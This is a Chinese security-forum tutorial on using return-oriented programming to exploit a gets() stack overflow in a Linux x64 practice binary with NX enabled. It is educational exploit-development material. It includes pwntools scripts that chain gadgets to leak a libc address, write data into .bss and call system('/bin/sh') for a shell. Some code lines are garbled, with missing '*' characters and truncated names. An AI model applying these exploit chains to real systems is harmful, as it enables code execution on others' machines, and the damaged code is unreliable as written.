作者netwind

二进制漏洞利用中的ROP技术研究与实例分析

发布于:2017-09-12 18:33:36 阅读:182 回帖:0



随着网络安全的发展,在网络攻方对抗中,漏洞利用的难度在不断增大,为了绕过各种漏洞缓解措施,掌握ROP技术势在必行。在很多时候漏洞程序往往都开启了堆栈代码执行保护NX(windows下叫DEP),这样早期我们直接把SHELLCODE放到栈上执行的方法就完全失效了。ROP技术通俗的讲就是在控制了函数地址指针后,通过不断地跳转到程序加载的地址空间去执行代码的方式,想办法获得我们想要执行的函数的地址并执行,中途或许为了跳转或给寄存器赋值还需要执行一些代码片段(类似pop ebp,retn该代码片段的地址通常被称为gadget),最终获得一个可以交互的SHELL的技术。
本文将以linux x64系统作为调试环境,用IDA作为调试器,以一个实例来分析通过ROP技术来绕过堆栈代码执行保护,最终获得一个交互式SHELL的过程。


一、    漏洞简要分析


漏洞程序下载地址:https://pan.baidu.com/s/1eRTWfmi 密码: wxd9


漏洞原理分析并不是本文的重点,本文将通过一个简单的存在溢出漏洞的linux x64平台下的二进制文件的分析,来研究在开启了NX保护时,通过ROP技术来实现溢出漏洞利用的技术。下文中该二进制文件统一命名为rop,用64位IDA打开rop,定位到vuln函数,并按F5,看到其反汇编代码如下:

 

图片描述

 

从汇编代码可以看出,进入该vuln后 sub rsp-0x40 ,堆栈开辟了0x40字节空间,然后调用gets函数读入数据到edi所指向的空间,edi此时实际上是等于rsp的指向栈顶的位置,gets函数读入数据以换行符号为结束标志,在遇到换行符号前,会读取任意数据到栈里,这样当读入超长字符串后,就会覆盖函数的返回地址,在该函数执行retn时就会可以返回到任意我们指定的地方去执行代码。这是一个很典型的缓冲溢出漏洞。


二、    漏洞调试


下面我们用调试器调试一下这个漏洞发生的过程。本文调试将借助于python代码进行,并需依赖pwn库。
首先在win系统设置IDA,在调试器栏选择remote linux debugger,在菜单debugger下拉菜单里选择process option选项,设置如下:
 图片描述


其中目录就选择rop所在目录,hostname填上linux虚拟机的ip,同时填上该虚拟机密码,端口默认选择23946。
然后打开linux虚拟机,并把ida目录下的linxu_serverX64拷贝到虚拟机里并执行,如图:


 图片描述


Rop的功能比较简单,就是执行的时候,输入字符并打印出来。用py编写调试代码rexp.py如下:

 
#! /usr/bin/python
from pwn import *
import pdb
context.log_level = 'debug'
target = process('./rop')
elf=ELF('./rop') #这个会显示rop用了哪些保护技术
pdb.set_trace()#这里设置一个pdb断点,可以让ida附加rop进程
 
target.sendline('a'64+'b'8+'c'*8)
target.interactive()


然后在linux系统上新开一个终端,执行rexp.py如下:


 图片描述


可以看到py代码中断了,通过调试信息可以看到rop开启了nx保护,因为堆栈只开辟了0x40字节空间,那么我们用0x40个字符a覆盖此空间,再用8个字符b覆盖ebp,后面用8个字符c就可以覆盖返回地址了,函数返回时将会跳转到cccccccc 指向的空间去执行,从而崩溃。下面跟踪调试一下这一过程。


在ida vuln函数里的gets函数后面下好断点,然后点击debugger,附加远程进程,找到./rop打开:

 图片描述


打开后按F9执行。在linux中断里按n并回车,可以看到栈里的数据被覆盖,并且返回地址恰好被cccccccc覆盖掉。


 图片描述


当函数执行到retn时 rsp指向的地址为cccccccc ,程序将跳转到该地址处去执行,我们成功控制了返回地址,可以跳转到任何地方去执行代码。


 图片描述


但是因为开启了NX 保护,我们不可以把shellcode放到栈上来执行了,因此我们就需用用到ROP技术来迂回获得SHELL。


三、    漏洞利用方式分析


如果要最终执行SEHLLCODE来获得SHELL就要通过mmap函数在可执行代码的区域来申请一片空间,然后再执行gets函数拷贝shellcode到该空间,最后把EIP指向shellcode的空间去执行。这样就需要在rop的内存里找到一个可执行可以写的空间,我们在IDA 里按ctrl+s 如图:


 图片描述


从上图可以看到所有ROP空间,凡是可写空间,都不可以执行;凡是可以执行空间都是只读的,所以上面提到的获得SHELL的方式就无法利用了。但是上图也可以看出rop内存里加载了libc库,这个库里面有system函数,执行system(‘/bin/sh’)同样可以获得一个SHELL ,因此我们将通过该方式获得SHELL。


然后问题就来了,rop虽然没有开启pie(内存地址随机化),其内存加载基地址虽然是固定的,但是rop里面并没有调用system函数,无法直接把system函数拿来用。我们只好到libc地址空间去找system函数地址,但是如果linux系统开启了地址随机化,那么每次加载libc的基地址就会不同。现在该怎么办呢?我们观察到rop漏洞函数部分有一个printf函数,打印来自终端输入的字符串,是否可以用printf函数来获得system函数的地址呢?我们看到rop里相关代码如下:


 图片描述


从上图可以看出在执行printf函数前,edi指向的是格式化串,rsi指向的是被打印串的地址。如果控制了rsi那么我们就可以打印任何地址的内容。


另外我们看到rop调用了几个libc里面的函数如图:


 图片描述


   其中有printf,gets ,setvbuf,在rop内存这几个函数的got表地址是固定的,并且在rop执行后,got表地址指向的内容就变成了该函数在libc空间的地址。因此如果我们改变rsi为某个函数got表的地址,那么就可以打印出其在libc空间的地址,然后再根据该函数和system函数的偏移来计算出system 函数的地址就可以了。然后想办法传入’/bin/sh’,再找机会执行system就达到目的。下面就来通过ROP实现这一过程。


四、    ROP链构造获得system函数地址


接下来我们就要去研究如何控制printf打印前rsi的值。既然我们控制了函数的返回地址,那么是否可以去跳转到一个代码片段,这里给rsi赋值后返回,然后再跳转到printf那里执行呢?实际上,这就是获得gadget的过程,已经有现成的工具来搜索这样的代码片段了,读者可以自行查找。在IDA里直接搜索文本pop  rsi也是可以的,但是经过搜索发现并没有这样的代码片段。不过看到了如下代码片段:


图片描述

 

我们看到我们在栈里布置好数据,先执行40075A处代码,然后再跳转到400740处去执行,这样就可以控制r12,edi, rsi,然后执行call的时候 让call地址变成printf got表里的地址,这样就可以打印任何地址指向的内存值了。我们接下来就来调试用printf打印printf在libc里的地址。


那接下来怎么布置堆栈呢?


1、    返回地址处用0x40075a覆盖。
2、    因为上图中call执行完后 要判断rbx rbp是否相等,不等要继续循环,
所以这里让rbx为0,rbp为1就绕过了循环判断。所以覆盖完返回地址后继续用0x0和0x1填充,这样pop时就可以覆盖掉 rbx,rbp。
3、    接下来用printf的got地址填充,这样可以pop给r12,刚好rbx 为0,然后call的时候执行printf。
4、    R13传给了edx 这里并没什么作用,因此就用0x0填充。
5、    R14传给了RSI 是我们想要打印的地址,这里打印printf got表地址指向的内容,所以用printf got表地址覆盖。
6、    R15传给了edi,对于printf来说他是一个格式化串,直接就用rop里该串的地址0x400784填充
7、    Pop r15后执行的是retn,要返回到rsp指向的空间,这里因为我们要跳转到0x400740去执行call,所以后面就用0x400740来填充
8、    Call执行完后,还要执行一个“add rsp ,8” 和6次pop,然后返回,那么我们在后面再布置7个地址,然后返回地址用vuln的地址,然后rop 继续跳转到漏洞函数里去,方便后面再操作。所以接下来填充7个0x0和0x400656。


然后利用测试代码如下:

 
#! /usr/bin/python
from pwn import 
import pdb
context.log_level = 'debug'
target = process('./rop')
elf=ELF('./rop')
printf_got_addr=elf.got['printf']
print hex(printf_got_addr)
rop='a'72
 
rop+=p64(0x40075a)#  上面描述的rop链 这里开始覆盖返回地址
rop+=p64(0x0)#->rbx
rop+=p64(0x1)#->rbp
rop+=p64(printf_got_addr)#exec printf
rop+=p64(0x0)#
rop+=p64(printf_got_addr)#
rop+=p64(0x400784)#
rop+=p64(0x400740)#
rop+=p64(0x0)*7#
rop+=p64(0x400656)#   return to vul
 
pdb.set_trace()
 
target.sendline(rop)
target.recvuntil(':')#正常执行vul时会收到you said:
target.recvuntil(': ') #劫持执行vul时也会收到you said:  所以接收两次
addr=target.recvline()[:-1]
addr = u64(addr+'\x00'(8-len(addr)))
print 'printfs addr is:'
print hex(addr)
target.interactive()


然后我们利用前面提到的调试方法来调试,py代码执行后如图:


 图片描述


这里打印出了printf got地址为0x600af0,按n后,IDA在gets后断下,如图所示:


 图片描述


我们看到堆栈里,返回地址被成功覆盖,然后 0 ,1都覆盖成功了,接下来本来应该覆盖成printf_got_addr=0x600af0,现在却成了0x400f0,然后后面的地址都没有被按我们想象的填充,而是堆栈里原本的值。这又是为什么呢?


百思不得其解?经过仔细研究分析,前面提到过gets遇到换行符号就结束,后面的内容不再读取了,再看看printf_got_addr=0x600af0 这个数据里面刚好有个0x0a,这个就是换行符号对应的内存值,因此在读取0xf0后gets就结束读取了,所以后面的就无法正常覆盖了。那接下来怎么办呢?我们只好再整理一下思路,继续突破。能否执行gets函数,然后读入数据到某个地方,最后执行呢?答案在前面就否定了,能写的都不能执行。Rop里用的函数就只有printf gets setvbuf,仔细查过sevbuf貌似也没啥用,gets只能读入又不能读出。这下感觉身陷困境,有什么办法呢?


我们再来分析一下前面找到的用来控制寄存器和执行函数的代码片段:


 图片描述


在痛苦地思索了良久后,突然发现,不用直接传0x600af0进去啊,可以配合rbx8 变换 然后r12变成一个其他的没有0x0a字节的值就可以了啊。这时r12=0x600af0-rbx8,如果要改变到0x0a字节,那么需要rbx8大于0xf0,于是rbx>0xf0/8 即rbx>0x1e,这里不防取rbx=0x1f,那么r12=0x600af0-0xf8。为了让cmp rbx rbp返回为0,直接往下执行,不再循环,那么需要让rbp=rbx+1(在cmp前rbx增加了1)。为了不有任何0x0a字节,接下来我们把要打印的地址变成gets 的地址,通过它和system的偏移也可以计算出system地址来,然后我们的rop链就变成如下了:


rop+=p64(0x40075a)#
rop+=p64(0x1f)#->rbx
rop+=p64(0x20)#->rbp
rop+=p64(printf_got_addr-0xf8)#exec printf
rop+=p64(0x0)#
rop+=p64(gets_got_addr)#
rop+=p64(0x400784)#
rop+=p64(0x400740)#
rop+=p64(0x0)
7#
rop+=p64(0x400656)#   return to vul


替换上面代码rop链部分,然后我们再来调试执行,如图:
 图片描述


现在堆栈里的数据已经完全按照我们的要求布置好了,然后我们单步继续运行,当执行retn后,程序将跳转到0x40075A处去执行,单步步过retn后如图:


 图片描述

接下来 现在的堆栈里的数据 将会一个一个被pop到寄存器里,然后跳转到0x400740 处去执行,步过retn后再单步几次来到0x400749处如图:


图片描述


可以看到此时edi为格式化串的地址了,rsi为gets got地址(存放的是其在libc里的地址)将要被打印,r12+rbx

8=0x600af0 是printf got地址,call执行后将打印gets 在libc里的地址。同时看到堆栈里有7个地址都是存放的0,在执行完call后 会add rsp 8 ,再6次pop刚好把0都pop完后返回到地址0x400656处(vuln函数地址)执行。可是当在call处按下f8单步执行后,让人意外的事情再次发生了:


  图片描述


Rop发出了一个它准备退出的信号,好吧不跟我们玩了,漏洞分析调试就是一个让人兴奋与崩溃并存的事情,保持耐心,收拾好心情,我们再来分析分析!


这时重新调试rop在上面call的地方,我们单步进去,如图:


进来之后发现这里有处跳转,但是rax为0x56,跳转不能实现:


 图片描述


   会不会正常执行printf时这里跳转实现了呢,我们在正常call    _printf处时单步进去,然后F8一直跟踪到上述代码处,如图:


 图片描述


发现这里rax为0,也就是要正常执行prinf,还要保证rax为0。前面我们覆盖返回地址为0x40075a,在该处没有代码如下:


 图片描述


该处完全没有能控制rax的地方,那么怎么办呢? 这样我们在返回执行0x40075a前,还要找到一处代码片段(gadget)控制rax为0,然后再跳到0x40075a处执行。通过搜索,发现0x4005f3 处有如下代码:


 图片描述


这里把eax置0,然后直接跳转到pop rbp处 然后返回,可以满足我们的需求。然后我们把返回地址覆盖为0x4005f3,然后再填充一个0x0让其pop ebp用,接着retn时返回地址我们就布置为上面的0x40075a,这样就完成了rax指令操作后又跳回去执行printf函数了。现在我们的rop链如下:


rop='a'*72
 
rop+=p64(0x4005f3)#      eax=0 or printf can't run normer
rop+=p64(0x0)#
 
rop+=p64(0x40075a)#
rop+=p64(0x1f)#->rbx
rop+=p64(0x20)#->rbp
rop+=p64(printf_got_addr-0xf8)#exec printf
rop+=p64(0x0)#
rop+=p64(gets_got_addr)#
rop+=p64(0x400784)#.bss
rop+=p64(0x400740)#
rop+=p64(0x0)*7#
rop+=p64(0x400656)#   return to vul


替换后,调试如下:


 图片描述


这时已经将gets函数在libc里的地址打印出来了。并且rop返回到vuln函数去继续执行了。在附加调试的时候,在IDA找到system函数地址 和gets函数地址,计算两个地址之间的偏移:


 图片描述


然后我们把前面打印出来的gets函数地址减去这个偏移就得到了,目标系统里的system函数的地址。


五、    ROP链构造执行system函数


获得了system函数地址后,接下来要做的就是执行system函数了。那么问题又来了,X64系统下,函数的参数都是房子寄存器里的,第一个参数地址放在rdi里,这样要执行sytem(‘/bin/sh’)我们就需要找到’/bin/sh’字符串的地址,然后把该地址放到rdi再去调用执行system 函数,才能获得shell。现在利用上面的gadget控制rdi是没有问题的,但是哪里有’/bin/sh’呢,其实在libc里面有’/bin/sh’也可以计算偏移得到地址,但是这里为了再巩固一下rop链的魅力,这里我们不用这个方法。
通过观察rop各区段信息,发现.bss段说可写的,我们可以利用rop技术执行gets函数,然后把’/bin/sh’读入到这个区域,然后记录其地址,并传给edi。用上面的gadget我们发现要执行call,如果能call到system函数里去 ,就一切都完美了。Call调用实际上是调用的 地址的地址,比如我们要执行system,那么假如我们把其地址放在 0x600b30处,这时执行call 0x600b30就会跳转到system地址处去执行。0x600b30刚好就是.bss段开始处,不防我们把system地址放到0x600b30处,把’/bin/sh’字符串放到0x600b38处。那么现在就要构造rop来执行gets函数了。我们看看原代码里gets函数相关的反汇编代码如下:
图片描述

 

可以看到,gets执行后实际上是把输入的数据直接读入到了rdi指向的内存空间了,然后我们就控制rdi为0x600b30,然后一起读入system地址和/bin/sh。


所利用的代码片段如下:
 图片描述


根据前面的思路,这里要控制r15=rdi=0x600b30,r12=gets got,rbx=0,rbp=1,这里不用控制rax为0了。然后构造rop链如下:

rop='a'72
rop+=p64(0x40075a)#
rop+=p64(0x0)#->rbx
rop+=p64(0x1)#->rbp
rop+=p64(gets_got_addr)#
rop+=p64(0x0)#
rop+=p64(0x0)#
rop+=p64(0x600b30)#.bss
rop+=p64(0x400740)#
rop+=p64(0x0)7#
rop+=p64(0x40075a)#


上面是执行gets的过程,gets执行完后 就在0x600b30处布置好了system函数地址,在0x600b38处存放了’/bin/sh’串,最后我们还要再执行system函数,还要在此执行该代码片段,所以返回地址直接写成了0x40075a。


执行system,要控制system的参数为字符串’/bin/sh’的地址,即r15=rdi=0x600b38,r12=0x600b30(该地址存放着system的地址),rbx=0,rbp=1。然后构造rop链如下:


op+=p64(0x0)#->rbx
rop+=p64(0x1)#->rbp
rop+=p64(0x600b30)#exec system
rop+=p64(0x0)#
rop+=p64(0x0)#
rop+=p64(0x600b38)#.bss
rop+=p64(0x400740)#
rop+=p64(0x0)*7#
rop+=p64(0x400656)#   return to vul


最后我们发送rop链过去


arget.sendline(rop)


然后就会发生溢出执行gets函数读入数据:


 图片描述


从上图可以看到r12就是gets got,rdi就是我们想写入数据的地方。栈里后面又布置了一片数据,用来在gets读完数据后,再返回去执行system。按f8后,这时再发送如下数据:


target.sendline(p64(sys_addr)+'/bin/sh')


这时就会把system地址 和’/bin/sh’串放入0x600b30处,如图:


 图片描述


接着返回后又返回执行system函数,如图:


 图片描述


   可以看到此刻call地址指向了system地址,参数edi存放的是’/bin/sh’地址,然后一路执行下去,就获得了SHELL,如图:


 图片描述


最后完整的EXP如下:

 
#! /usr/bin/python
from pwn import 
import pdb
context.log_level = 'debug'
target = process('./rop')
elf=ELF('./rop')
gets_got_addr=elf.got['gets']
printf_got_addr=elf.got['printf']
print hex(gets_got_addr)
rop='a'72
rop+=p64(0x4005f3)#      eax=0 or printf can't run normer
rop+=p64(0x0)#
 
rop+=p64(0x40075a)#
rop+=p64(0x1f)#->rbx
rop+=p64(0x20)#->rbp
rop+=p64(printf_got_addr-0xf8)#exec printf
rop+=p64(0x0)#
rop+=p64(gets_got_addr)#
rop+=p64(0x400784)#.bss
rop+=p64(0x400740)#
rop+=p64(0x0)*7#
rop+=p64(0x400656)#   return to vul
 
target.sendline(rop)
target.recvuntil(':')
target.recvuntil(': ')
addr=target.recvline()[:-1]
addr = u64(addr+'\x00'*(8-len(addr)))
sys_addr=addr-0x2bdc0
print 'sysaddr is:'
print hex(sys_addr)
 
rop='a'72
rop+=p64(0x40075a)#
rop+=p64(0x0)#->rbx
rop+=p64(0x1)#->rbp
rop+=p64(gets_got_addr)#exec system
rop+=p64(0x0)#
rop+=p64(0x0)#
rop+=p64(0x600b30)#.bss
rop+=p64(0x400740)#
rop+=p64(0x0)7#
rop+=p64(0x40075a)#   return to vul
 
#rop='a'*72
 
#rop+=p64(0x40075a)#
rop+=p64(0x0)#->rbx
rop+=p64(0x1)#->rbp
rop+=p64(0x600b30)#exec system
rop+=p64(0x0)#
rop+=p64(0x0)#
rop+=p64(0x600b38)#.bss
rop+=p64(0x400740)#
rop+=p64(0x0)*7#
rop+=p64(0x400656)#   return to vul
target.sendline(rop)
target.sendline(p64(sys_addr)+'/bin/sh')
target.sendline(rop)
target.interactive()


六、    总结


在漏洞学习研究的过程中,深感只有亲自去调试漏洞,孤独寂寞地去盯着寄存器的变化,盯着堆栈数据的变化,才能略知其中的奥妙,才能感受到前人的智慧光芒,才能深入理解漏洞成因和漏洞利用的艺术!



本文由看雪论坛 netwind 原创  转载请注明来自看雪社区

返回